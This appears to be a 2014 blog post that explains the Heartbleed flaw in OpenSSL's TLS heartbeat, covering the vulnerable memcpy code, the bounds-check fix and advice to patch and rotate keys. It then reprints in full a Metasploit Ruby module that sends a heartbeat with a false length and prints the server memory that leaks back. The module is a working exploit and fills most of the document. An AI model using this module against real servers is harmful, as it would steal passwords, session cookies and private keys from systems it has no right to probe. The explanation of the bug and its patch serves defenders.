Thursday, April 10, 2014

The TLS heartbeat: Show me the code

A tiny flaw in the widely used encryption library allows anyone to trivially and secretly dip into vulnerable systems, from your bank's HTTPS server to your private VPN, to steal passwords, login cookies, private crypto-keys and much more. How, in 2014, is this possible?

simple script for the exploit engine Metasploit can, in a matter of seconds, extract sensitive in-memory data from systems that rely on OpenSSL 1.0.1 to 1.0.1f for TLS encryption. The bug affects about 500,000, or 17.5 per cent, of trusted HTTPS websites, we're told, as well as client software, email servers, chat services, and anything else using the aforementioned versions of OpenSSL.
A good number of popular web services have now been patched following disclosure of the vulnerability on Monday; you can use this tool to check (use at your own risk, of course), but don't forget to do more than patch your OpenSSL installation if you're affected – change your keys, dump your session cookies and evaluate your at-risk data.

Too long, didn't read: A summary

This serious flaw (CVE-2014-0160) is a missing bounds check before a memcpy()call that uses non-sanitized user input as the length parameter. An attacker can trick OpenSSL into allocating a 64KB buffer, copy more bytes than is necessary into the buffer, send that buffer back, and thus leak the contents of the victim's memory, 64KB at a time. The patch is here, and the blunder is far worse than Apple's gotofail.

The TLS heartbeat

The bug lies in OpenSSL's implementation of the TLS heartbeat extension: it's a keep-alive feature in which one end of the connection sends a payload of arbitrary data to the other end, which sends back an exact copy of that data to prove everything's OK. The heartbeat message, according to the official standard, looks like this, in C:
struct
{
  HeartbeatMessageType type;
  uint16 payload_length;
  opaque payload[HeartbeatMessage.payload_length];
  opaque padding[padding_length]; 
} HeartbeatMessage;
This HeartbeatMessage arrives via an SSL3_RECORD structure, a basic building block of SSL/TLS communications. The key fields in SSL3_RECORD are given below;length is how many bytes are in the received HeartbeatMessage and data is a pointer to that HeartbeatMessage.
struct ssl3_record_st
{
  unsigned int length;    /* How many bytes available */
  [...]
  unsigned char *data;    /* pointer to the record data */
  [...]
} SSL3_RECORD;
So just to be clear, the SSL3 record's data points to the start of the receivedHeartbeatMessage and length is the number of bytes in the receivedHeartbeatMessage. Meanwhile, inside the received HeartbeatMessage,payload_length is the number of bytes in the arbitrary payload that has to be sent back.
Whoever sends a HeartbeatMessage controls the payload_length but as we will see, this is never checked against the parent SSL3_RECORD's length field, allowing an attacker to overrun memory.
The diagram below shows how the attack works:
The Register illustration of the attack
Click to enlarge ... note: this does not include the padding bytes
In the above example, an attacker sends a four-byte HeartbeatMessage including a single byte payload, which is correctly acknowledged by the SSL3's length record. But the attacker lies in the payload_length field to claim the payload is 65535 bytes in size. The victim ignores the SSL3 record, and reads 65535 bytes from its own memory, starting from the received HeartbeatMessage payload, and copies it into a suitably sized buffer to send back to the attacker. It thus hoovers up far too many bytes, dangerously leaking information as indicated above in red.

Show me the code

The broken OpenSSL code that processes the incoming HeartbeatMessage looks like this, where p is a pointer to the start of the message:
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
So the message type is popped into the hbtype variable, the pointer is incremented by one byte, and the n2s() macro writes the 16-bit length of the heartbeat payload to the variable payload and increments the pointer by two bytes. Then pl becomes a pointer to the contents of the payload.
Let's say a heartbeat message with a payload_length of 65535, ie: a heartbeat with a 64KB payload, the maximum possible, is received. The code has to send back a copy of the incoming HeartbeatMessage, so it allocates a buffer big enough to hold the 64KB payload plus one byte to store the message type, two bytes to store the payload length, and some padding bytes, as per the above structure.
It constructs the reply HeartbeatMessage structure with the following code, wherebp is a pointer to the start of the reply HeartbeatMessage:
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
So the code writes the response type to the start of the buffer, increments the buffer pointer, uses the s2n() macro to write the 16-bit payload length to memory and increment the buffer pointer by two bytes, and then it copies payload number of bytes from the received payload into the outgoing payload for the reply.
Remember, payload is controlled by the attacker, and it's quite large at 64KB. If the actual HeartbeatMessage sent by the attacker only has a payload of, say, one byte, and its payload_length is a lie, then the above memcpy() will read beyond the end of the received HeartbeatMessage and start reading from the victim process's memory.
And this memory will contain other juicy information, such as passwords or decrypted messages from other clients. Sending another heartbeat message leaks another 64KB, so rinse and repeat to scour the victim's system for goodies.
In fact, the bug leaks this sort of information, although we understand Yahoo! has since patched its systems:

The fix

The patch in OpenSSL 1.0.1g is essentially a bounds check, using the correct record length in the SSL3 structure (s3->rrec) that described the incomingHeartbeatMessage.
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;
OpenSSL's implementation of TLS heartbeats was committed to the project's source code 61 minutes to midnight on Saturday, 31 December, 2011. What we're experiencing now is the mother of all delayed hangovers. ®

Show me the code

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  CIPHER_SUITES = [
    0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
    0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
    0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
    0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
    0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
    0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
    0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
    0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
    0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
    0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
    0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
    0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
    0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
    0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
    0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
    0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
    0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
    0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
    0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
    0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
    0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
    0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
    0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
    0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
    0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
    0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
    0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
    0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
    0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
    0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
    0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
    0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
    0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
    0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
    0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
    0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
    0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
    0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
    0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
    0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
    0x0005, # TLS_RSA_WITH_RC4_128_SHA
    0x0004, # TLS_RSA_WITH_RC4_128_MD5
    0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
    0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
    0x0009, # TLS_RSA_WITH_DES_CBC_SHA
    0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
    0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
    0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
    0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
    0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
    0x00ff # Unknown
  ]
  HANDSHAKE_RECORD_TYPE = 0x16
  HEARTBEAT_RECORD_TYPE = 0x18
  ALERT_RECORD_TYPE = 0x15
  TLS_VERSION = {
    '1.0' => 0x0301,
    '1.1' => 0x0302,
    '1.2' => 0x0303
  }
  TTLS_CALLBACKS = {
    'SMTP' => :tls_smtp,
    'IMAP' => :tls_imap,
    'JABBER' => :tls_jabber,
    'POP3' => :tls_pop3
  }
  def initialize
    super(
      'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
      'Description' => %q{
This module implements the OpenSSL Heartbleed attack. The problem
exists in the handling of heartbeat requests, where a fake length can
be used to leak memory data in the response. Services that support
STARTTLS may also be vulnerable.
},
      'Author' => [
        'Neel Mehta', # Vulnerability discovery
        'Riku', # Vulnerability discovery
        'Antti', # Vulnerability discovery
        'Matti', # Vulnerability discovery
        'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
        'FiloSottile', # PoC site and tool
        'Christian Mehlmauer', # Msf module
        'wvu', # Msf module
        'juan vazquez' # Msf module
      ],
      'References' =>
        [
          ['CVE', '2014-0160'],
          ['US-CERT-VU', '720951'],
          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
          ['URL', 'http://heartbleed.com/'],
          ['URL', 'https://github.com/FiloSottile/Heartbleed'],
          ['URL', 'https://gist.github.com/takeshixx/10107280'],
          ['URL', 'http://filippo.io/Heartbleed/']
        ],
      'DisclosureDate' => 'Apr 7 2014',
      'License' => MSF_LICENSE
    )
    register_options(
      [
        Opt::RPORT(443),
        OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
        OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.0', ['1.0', '1.1', '1.2']])
      ], self.class)
    register_advanced_options(
      [
        OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
      ], self.class)
  end
  def peer
    "#{rhost}:#{rport}"
  end
  def tls_smtp
    # https://tools.ietf.org/html/rfc3207
    sock.get_once
    sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
    res = sock.get_once
    unless res && res =~ /STARTTLS/
      return nil
    end
    sock.put("STARTTLS\n")
    sock.get_once
  end
  def tls_imap
    # http://tools.ietf.org/html/rfc2595
    sock.get_once
    sock.put("a001 CAPABILITY\r\n")
    res = sock.get_once
    unless res && res =~ /STARTTLS/i
      return nil
    end
    sock.put("a002 STARTTLS\r\n")
    sock.get_once
  end
  def tls_pop3
    # http://tools.ietf.org/html/rfc2595
    sock.get_once
    sock.put("CAPA\r\n")
    res = sock.get_once
    if res.nil? || res =~ /^-/ || res !~ /STLS/
      return nil
    end
    sock.put("STLS\r\n")
    res = sock.get_once
    if res.nil? || res =~ /^-/
      return nil
    end
    res
  end
  def tls_jabber
    # http://xmpp.org/extensions/xep-0035.html
    msg = "<?xml version='1.0' ?>"
    msg << "<stream:stream xmlns='jabber:client' "
    msg << "xmlns:stream='http://etherx.jabber.org/streams' "
    msg << "version='1.0' "
    msg << "to='#{datastore['XMPPDOMAIN']}'>"
    sock.put(msg)
    res = sock.get
    if res.nil? || res =~ /stream:error/ || res !~ /starttls/i
      print_error("#{peer} - Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res =~ /<host-unknown/
      return nil
    end
    msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
    sock.put(msg)
    sock.get_once
  end
  def run_host(ip)
    connect
    unless datastore['STARTTLS'] == 'None'
      vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
      res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
      if res.nil?
        vprint_error("#{peer} - STARTTLS failed...")
        return
      end
    end
    vprint_status("#{peer} - Sending Client Hello...")
    sock.put(client_hello)
    server_hello = sock.get
    unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
      vprint_error("#{peer} - Server Hello Not Found")
      return
    end
    vprint_status("#{peer} - Sending Heartbeat...")
    heartbeat_length = 16384
    sock.put(heartbeat(heartbeat_length))
    hdr = sock.get_once(5)
    if hdr.blank?
      vprint_error("#{peer} - No Heartbeat response...")
      return
    end
    unpacked = hdr.unpack('Cnn')
    type = unpacked[0]
    version = unpacked[1] # must match the type from client_hello
    len = unpacked[2]
    # try to get the TLS error
    if type == ALERT_RECORD_TYPE
      res = sock.get_once(len)
      alert_unp = res.unpack('CC')
      alert_level = alert_unp[0]
      alert_desc = alert_unp[1]
      msg = "Unknown error"
      # http://tools.ietf.org/html/rfc5246#section-7.2
      case alert_desc
      when 0x46
        msg = "Protocol error. Looks like the chosen protocol is not supported."
      end
      print_error("#{peer} - #{msg}")
      disconnect
      return
    end
    unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
      vprint_error("#{peer} - Unexpected Heartbeat response")
      disconnect
      return
    end
    vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
    heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
    if heartbeat_data
      print_good("#{peer} - Heartbeat response with leak")
      report_vuln({
        :host => rhost,
        :port => rport,
        :name => self.name,
        :refs => self.references,
        :info => "Module #{self.fullname} successfully leaked info"
      })
      vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
    else
      vprint_error("#{peer} - Looks like there isn't leaked information...")
    end
  end
  def heartbeat(length)
    payload = "\x01" # Heartbeat Message Type: Request (1)
    payload << [length].pack("n") # Payload Length: 16384
    ssl_record(HEARTBEAT_RECORD_TYPE, payload)
  end
  def client_hello
    # Use current day for TLS time
    time_temp = Time.now
    time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
    hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
    hello_data << [time_epoch].pack("N") # Time in epoch format
    hello_data << Rex::Text.rand_text(28) # Random
    hello_data << "\x00" # Session ID length
    hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
    hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
    hello_data << "\x01" # Compression methods length (1)
    hello_data << "\x00" # Compression methods: null
    hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
    hello_data_extensions << "\x00\x01" # Extension length
    hello_data_extensions << "\x01" # Extension data
    hello_data << [hello_data_extensions.length].pack("n")
    hello_data << hello_data_extensions
    data = "\x01\x00" # Handshake Type: Client Hello (1)
    data << [hello_data.length].pack("n") # Length
    data << hello_data
    ssl_record(HANDSHAKE_RECORD_TYPE, data)
  end
  def ssl_record(type, data)
    record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
    record << data
  end
end